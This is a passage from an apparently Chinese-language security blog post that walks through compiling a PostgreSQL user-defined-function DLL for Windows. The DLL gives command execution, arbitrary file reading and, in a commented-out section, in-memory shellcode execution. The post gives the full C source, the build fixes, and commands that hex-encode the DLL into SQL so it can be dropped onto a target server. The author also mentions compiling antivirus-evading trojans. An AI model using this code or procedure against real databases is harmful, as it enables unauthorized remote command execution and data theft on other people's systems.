class="code-snippet__function"><span class="code-snippet__keyword">extern</span> PGDLLIMPORT Datum <span class="code-snippet__title">sys_exec</span><span class="code-snippet__params">(PG_FUNCTION_ARGS)</span> </span>{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">else</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">extern</span> DLLIMPORT Datum <span class="code-snippet__title">sys_exec</span><span class="code-snippet__params">(PG_FUNCTION_ARGS)</span> </span>{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer">  text* argv0 = PG_GETARG_TEXT_P(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  int32 result = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span>* command;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  command = text_ptr_to_char_ptr(argv0);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">/*</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  Only if you want to log</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  elog(NOTICE, &#34;Command execution: %s&#34;, command);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  result = system(command);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">free</span>(command);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PG_FREE_IF_COPY(argv0, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  PG_RETURN_INT32(result);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">PG_FUNCTION_INFO_V1(sys_eval);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">ifdef</span> PGDLLIMPORT</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">extern</span> PGDLLIMPORT Datum <span class="code-snippet__title">sys_eval</span><span class="code-snippet__params">(PG_FUNCTION_ARGS)</span> </span>{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">else</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">extern</span> DLLIMPORT Datum <span class="code-snippet__title">sys_eval</span><span class="code-snippet__params">(PG_FUNCTION_ARGS)</span> </span>{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer">  text* argv0 = PG_GETARG_TEXT_P(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  text* result_text;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span>* command;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span>* result;</span></code><code><span class="code-snippet_outer">  FILE* pipe;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span>* line;</span></code><code><span class="code-snippet_outer">  int32 outlen, linelen;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  command = text_ptr_to_char_ptr(argv0);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">/*</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  Only if you want to log</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  elog(NOTICE, &#34;Command evaluated: %s&#34;, command);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  line = (<span class="code-snippet__keyword">char</span>*)<span class="code-snippet__built_in">malloc</span>(<span class="code-snippet__number">1024</span>);</span></code><code><span class="code-snippet_outer">  result = (<span class="code-snippet__keyword">char</span>*)<span class="code-snippet__built_in">malloc</span>(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">  outlen = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  result[<span class="code-snippet__number">0</span>] = (<span class="code-snippet__keyword">char</span>)<span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  pipe = popen(command, <span class="code-snippet__string">&#34;r&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">while</span> (fgets(line, <span class="code-snippet__keyword">sizeof</span>(line), pipe) != <span class="code-snippet__literal">NULL</span>) {</span></code><code><span class="code-snippet_outer">    linelen = <span class="code-snippet__built_in">strlen</span>(line);</span></code><code><span class="code-snippet_outer">    result = (<span class="code-snippet__keyword">char</span>*)<span class="code-snippet__built_in">realloc</span>(result, outlen + linelen);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">strncpy</span>(result + outlen, line, linelen);</span></code><code><span class="code-snippet_outer">    outlen = outlen + linelen;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  pclose(pipe);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (*result) {</span></code><code><span class="code-snippet_outer">    result[outlen - <span class="code-snippet__number">1</span>] = <span class="code-snippet__number">0x00</span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  result_text = chr_ptr_to_text_ptr(result);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PG_RETURN_POINTER(result_text);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//PG_FUNCTION_INFO_V1(sys_bineval);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#ifdef PGDLLIMPORT</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#else</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#endif</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  text* argv0 = PG_GETARG_TEXT_P(0);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  int32 argv0_size;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  size_t len;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  int pID;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  char* code;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#else</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  int* addr;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  size_t page_size;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  pid_t pID;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#endif</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  argv0_size = VARSIZE(argv0) - VARHDRSZ;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  len = (size_t)argv0_size;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  // allocate a +rwx memory page</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  code = (char*)VirtualAlloc(NULL, len + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  strncpy(code, VARDATA(argv0), len);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &amp;pID), INFINITE);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#else</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  pID = fork();</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  if (pID &lt; 0)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    PG_RETURN_INT32(1);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  if (pID == 0)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    page_size = (size_t)sysconf(_SC_PAGESIZE) - 1;  // get page size</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    page_size = (len + page_size) &amp; ~(page_size);    // align to page boundary</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    // mmap an rwx memory page</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    addr = mmap(0, page_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, 0, 0);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    if (addr == MAP_FAILED)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//      PG_RETURN_INT32(1);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    strncpy((char*)addr, VARDATA(argv0), len);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    ((void (*)(void))addr)();</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  if (pID &gt; 0)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    waitpid(pID, 0, WNOHANG);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#endif</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  PG_RETURN_INT32(0);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//}</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">if</span> defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//DWORD WINAPI exec_payload(LPVOID lpParameter)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//{</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  __try</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    __asm</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//      mov eax, [lpParameter]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//      call eax</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  __except (EXCEPTION_EXECUTE_HANDLER)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  {</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  }</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//  return 0;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//}</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">undef</span> fopen</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">PG_FUNCTION_INFO_V1(sys_fileread);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">ifdef</span> PGDLLIMPORT</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">extern</span> PGDLLIMPORT Datum <span class="code-snippet__title">sys_fileread</span><span class="code-snippet__params">(PG_FUNCTION_ARGS)</span> </span>{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">else</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">extern</span> DLLIMPORT Datum <span class="code-snippet__title">sys_fileread</span><span class="code-snippet__params">(PG_FUNCTION_ARGS)</span> </span>{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer">  text* argv0 = PG_GETARG_TEXT_P(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  text* result_text;</span></code><code><span class="code-snippet_outer">  int32 len;</span></code><code><span class="code-snippet_outer">  int32 i, j;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span>* filename;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span>* result;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span>* buffer;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span> table[] = <span class="code-snippet__string">&#34;0123456789ABCDEF&#34;</span>;</span></code><code><span class="code-snippet_outer">  FILE* file;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  filename = text_ptr_to_char_ptr(argv0);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  file = fopen(filename, <span class="code-snippet__string">&#34;rb&#34;</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (!file)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    PG_RETURN_NULL();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  fseek(file, <span class="code-snippet__number">0</span>, SEEK_END);</span></code><code><span class="code-snippet_outer">  len = ftell(file);</span></code><code><span class="code-snippet_outer">  fseek(file, <span class="code-snippet__number">0</span>, SEEK_SET);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  buffer = (<span class="code-snippet__keyword">char</span>*)<span class="code-snippet__built_in">malloc</span>(len + <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (!buffer)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    fclose(file);</span></code><code><span class="code-snippet_outer">    PG_RETURN_NULL();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  fread(buffer, len, <span class="code-snippet__number">1</span>, file);</span></code><code><span class="code-snippet_outer">  fclose(file);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  result = (<span class="code-snippet__keyword">char</span>*)<span class="code-snippet__built_in">malloc</span>(<span class="code-snippet__number">2</span> * len + <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> (i = <span class="code-snippet__number">0</span>, j = <span class="code-snippet__number">0</span>; i &lt; len; i++)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    result[j++] = table[(buffer[i] &gt;&gt; <span class="code-snippet__number">4</span>) &amp; <span class="code-snippet__number">0x0f</span>];</span></code><code><span class="code-snippet_outer">    result[j++] = table[buffer[i] &amp; <span class="code-snippet__number">0x0f</span>];</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  result[j] = <span class="code-snippet__string">&#39;\0&#39;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  result_text = chr_ptr_to_text_ptr(result);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">free</span>(result);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">free</span>(buffer);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">free</span>(filename);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PG_RETURN_POINTER(result_text);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">然后还要注释掉pg_config_os.h的201行到215行两个结构体，因为这里也会报错，然后再编译release-&gt;x64即可。中间有个小插曲，如果你的vs报错，无法打开输入文件postgres.lib，那么请将<span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">PostgreSQL</span> zip包中的postgre.lib文件复制到项目文件夹中和main.c同目录的位置再编译。</span><br/></span></p><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;"><img data-ratio="0.3857814950339781" data-w="1913" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d27f4eeb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBV2tl8cj8jfwCcDdKMicQwA2F2uXKqrhIutElYj8E6yT8HL08fI69bAlQ%2F640%3Fwx_fmt%3Dpng"/><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">生成的dll在PolyUDF-master\x64\Release\PolyUDF.dll，然后再执行：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">cat</span> PolyUDF.dll | xxd -ps | tr -d <span class="code-snippet__string">&#34;\n&#34;</span> &gt; <span class="code-snippet__number">1</span>.txt</span></code><code><span class="code-snippet_outer">python2 postgresql_udf_help.py <span class="code-snippet__number">1</span>.txt &gt; sqlcmd.txt</span></code></pre></section><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;"></span><span style="box-sizing: border-box;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">将sqlcmd.txt里面的so路径替换为想要将dll保存到目标系统路径的位置（c:</span><span style="box-sizing: border-box;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">\</span><span style="box-sizing: border-box;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">windows</span><span style="box-sizing: border-box;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">\</span><span style="box-sizing: border-box;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">temp</span><span style="box-sizing: border-box;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">\</span><span style="box-sizing: border-box;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">test.dll或其他位置都行，只要目标postgreSQL有权限）</span></p><p><img data-ratio="0.7243367935409458" data-w="867" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b8c35fba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVzGGfDm66mPHSM7q5YicvPYmrjD9guYJj5w3Aic1JkZEw4Wc9gTP26mtw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">然而问题又来了，postgreSQL报错</span><span style="text-decoration: underline;"><span style="text-decoration: underline;box-sizing: border-box;">Th</span></span><span style="box-sizing: border-box;text-decoration: underline;">e specified module could not be foud</span><span style="box-sizing: border-box;">。我一开始以为是不是dll的代码有问题，后来我看了代码感觉应该没问题，因为我之前注释的内容都不是我要用的导出函数。那问题出在哪呢？此时我突然想到了之前编译免杀马在不做静态编译时无法在其他人电脑上正常运行的情况。于是我们选择使用静态编译试试。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">选择在静态库中使用MFC：</span></p><p><img data-ratio="0.6950354609929078" data-w="987" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d946fd1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVHFk5Il19iaOn7s2QrkQCG7vdMTQ2miaBPc9G0Z3olXFPIq7sqNj9PE1Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="box-sizing: border-box;">最后生成了一个100k的dll，而之前的dll才16k，然后再用该dll生成sqlcmd.txt，</span><span style="box-sizing: border-box;">最后sqlcmd.txt内容如下</span><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: 